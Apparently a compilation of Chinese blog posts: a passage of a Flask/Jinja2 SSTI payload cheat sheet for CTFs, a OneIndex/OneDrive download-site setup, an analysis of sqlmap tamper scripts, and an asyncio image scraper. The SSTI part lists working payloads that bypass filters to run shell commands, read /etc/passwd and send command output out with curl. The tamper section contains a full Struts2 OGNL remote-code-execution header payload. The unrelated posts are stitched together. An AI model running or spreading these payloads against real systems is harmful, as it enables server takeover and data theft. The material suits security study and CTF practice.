''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()

过滤引号

获取chr函数,赋值给chr, 然后拼接字符串:

{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read() }}

借助request对象:

{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read() }}
{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}&cmd=id

过滤双下划线

{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

过滤{{

可以利用{%%}标记,可利用curl将执行结果带出来

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}

特殊情况

有的ctf可能把flag藏在全局配置变量中,如下代码:

app.config['SECRET_KEY'] = "flag{s5Ti_1s_s0_f5n}"

@app.errorhandler(404)
def page_not_found(e):
    template = '''
{%% block body %%}
    <div class="center-content error">
        <h1>Oops! That page doesn't exist.</h1>
        <h3>%s</h3>
    </div> 
{%% endblock %%}
''' % (request.url)
    return render_template_string(template), 404

payload:

http://localhost/{{config}}
# 查看全部环境变量

参考

OneDrive+OneIndex搭建个人下载站

前言

一直想搭建一个个人下载站,正好在GitHub上发现一个好的开源项目,不使用服务器带宽,使用OneDrive的带宽。配合学校邮箱申请的OneDrive 1T空间,简直美滋滋。上传速度不必说直接上传OneDrive。下载速度大约4MB/s,不错不错。

项目地址

https://github.com/donwa/oneindex

具体步骤上面说的很明白了

注意事项

给相应目录权限

添加定时刷新缓存的任务

crontab -e 
*/10 * * * * php /home/wwwroot/gdtv/oneindex/one.php cache:refresh

打开去掉/?/的功能选项配置

这里真是个大坑,经历过无数采坑发现需要这样配置:

编辑nginx配置文件

server{}中添加如下:

location / {
  try_files $uri $uri/ /index.php?/$uri;
}

同时注释掉原来的location

#location ~ .*\.(gif|jpg|jpeg|png|bmp|swf)$
  #{
  #  expires      30d;
  #}

演示站

Sqlmap Tamper 分析&编写

前言

Tamper主要对payload进行更改来绕过一些规则,先拿几个sqlmap自带的tamper脚本分析一下就大概知道这种脚本应该怎么写了。

分析

随便找一个分析一下space2plus.py:

#!/usr/bin/env python

"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with plus ('+')

    Notes: 
        * Is this any useful? The plus get's url-encoded by sqlmap engine
          invalidating the query afterwards
        * This tamper script works against all databases

    >>> tamper('SELECT id FROM users')
    'SELECT+id+FROM+users'
    """

    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += "+"
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == " " and not doublequote and not quote:   #单引号或者双引号包裹的不进行转换
                retVal += "+"
                continue

            retVal += payload[i]

    return retVal

__priority__ = PRIORITY.LOW 定义脚本优先级,用于指定多个脚本的情况。

主要有以下几种优先级:

__priority__ = PRIORITY.LOWEST
__priority__ = PRIORITY.LOWER
__priority__ = PRIORITY.LOW
__priority__ = PRIORITY.NORMAL
__priority__ = PRIORITY.HIGH
__priority__ = PRIORITY.HIGHER
__priority__ = PRIORITY.HIGHEST

dependencies()函数,对tamper脚本支持/不支持使用的环境进行声明,一般情况下为空。

tamper()函数主要实现对payload的处理操作,上面代码实现了将空格转换成+的操作,单引号或者双引号的里面的不进行替换。

这里要提一下**kwargs参数,大体看了看官方脚本中这个参数被使用到的次数很少,就是一些对请求头的操作:

def tamper(payload, **kwargs):
    """
    Append a HTTP header 'X-originating-IP' to bypass
    WAF Protection of Varnish Firewall

    Notes:
        Reference: http://h30499.www3.hp.com/t5/Fortify-Application-Security/Bypassing-web-application-firewalls-using-HTTP-headers/ba-p/6418366

        Examples:
        >> X-forwarded-for: TARGET_CACHESERVER_IP (184.189.250.X)
        >> X-remote-IP: TARGET_PROXY_IP (184.189.250.X)
        >> X-originating-IP: TARGET_LOCAL_IP (127.0.0.1)
        >> x-remote-addr: TARGET_INTERNALUSER_IP (192.168.1.X)
        >> X-remote-IP: * or %00 or %0A
    """

    headers = kwargs.get("headers", {})
    headers["X-originating-IP"] = "127.0.0.1"
    return payload

添加了一个新的请求头字段X-originating-IP值为127.0.0.1.注释里面写的很清楚了,甚至还给了其他例子。

编写

会一些基本python字符操作就可以上手了,有时候可能用到正则表达式一些东西。

headers头的一些更改就像这样:

kwargs['headers']['Content-type'] = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+sys.argv[2]+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

kwargs['headers']['User-Agent']="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" # 修改User-Agent

tamper脚本编写简单,有些情况下确实很方便。

附加

Python 协程爬虫

前言

找到了一个表情包网站,没有任何反爬机制,网站大概有这个十八万个表情包吧,写了个普通爬虫太慢了,全完事估计需要好几个小时,于是上了协程,全部爬完40分钟,全程cpu占用100%,再重写改造一下一下就类似一个小框架了,以后有啥直接套用就好了,嘿嘿。

注:在异步程序中要注意最好全部阻塞操作都是异步,否则虽然不会报错,但会拖慢程序运行。

代码

网络IO,读写IO全部异步实现。

#! /usr/bin/env python
# -*- coding: utf-8 -*-
# Author: Archerx
# @time: 2019/1/19 下午 03:56

import asyncio
import aiohttp
import uuid
import logging
import aiofiles


class AsyncSpider(object):
    def __init__(self,urls):
        self.URL = 'http://image.bee-ji.com/'
        self.HEADERS = {
            'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36'
        }
        self.SEMAPHORENUM = 200
        self.result = {}
        self.urls = urls
        self.THREADS = 200  #并发协程数量
        self.log_level = logging.DEBUG

    async def OtherFunc(self):
        pass

    async def GetUrl(self,session,url):
        pass

    async def SaveImage(self,content,ename,):
        # with open('F:\pycharm\JsSpider\images\\'+str(uuid.uuid1())[1:6]+'.'+ename.strip().split('/')[1],'wb') as f:
        #     f.write(content)
        async with aiofiles.open('F:\images\\'+str(uuid.uuid1())[1:6]+'.'+ename.strip().split('/')[1],'wb') as f:
            await f.write(content)

    async def GetImage(self,url):
        async with aiohttp.ClientSession() as session:
            async with session.get(url=url,headers=self.HEADERS) as response:
                assert response.status == 200
                content = await response.read()
                return content,response.headers

    async def HandleTask(self,queque):
        while not queque.empty():
            url = await queque.get()
            try:
                print('start url: '+url)
                content,headers = await self.GetImage(url=url)
                await self.SaveImage(content,headers.get('Content-Type'))
                print('save successfully')
            except Exception:
                logging.error('HandleTask error',exec_info = True)


    def EventLoop(self):
        queque = asyncio.Queue()
        [queque.put_nowait(url) for url in self.urls]
        loop = asyncio.get_event_loop()
        tasks = [asyncio.ensure_future( self.HandleTask(queque=queque) )for _ in range(self.THREADS)]
        # for task in tasks:                      #可以添加回调
        #     task.add_done_callback(callback)
        loop.run_until_complete(asyncio.wait(tasks))
        loop.close()

def GenerateUrl():
    url_list = []
    for i in range(1,2000):
        url_list.append('http://image.bee-ji.com/'+str(i))
    return url_list

def callback(future):
    print(future.result())

if __name__ == '__main__':
    spider = AsyncSpider(GenerateUrl())
    logging.basicConfig(level = spider.log_level,format = '%(asctime)s - %(name)s - %(levelname)s - %(message)s')
    spider.EventLoop()

大概能达到这个效果吧:

要跟我斗图吗?我可是有十八万表情包的银。

参考

preView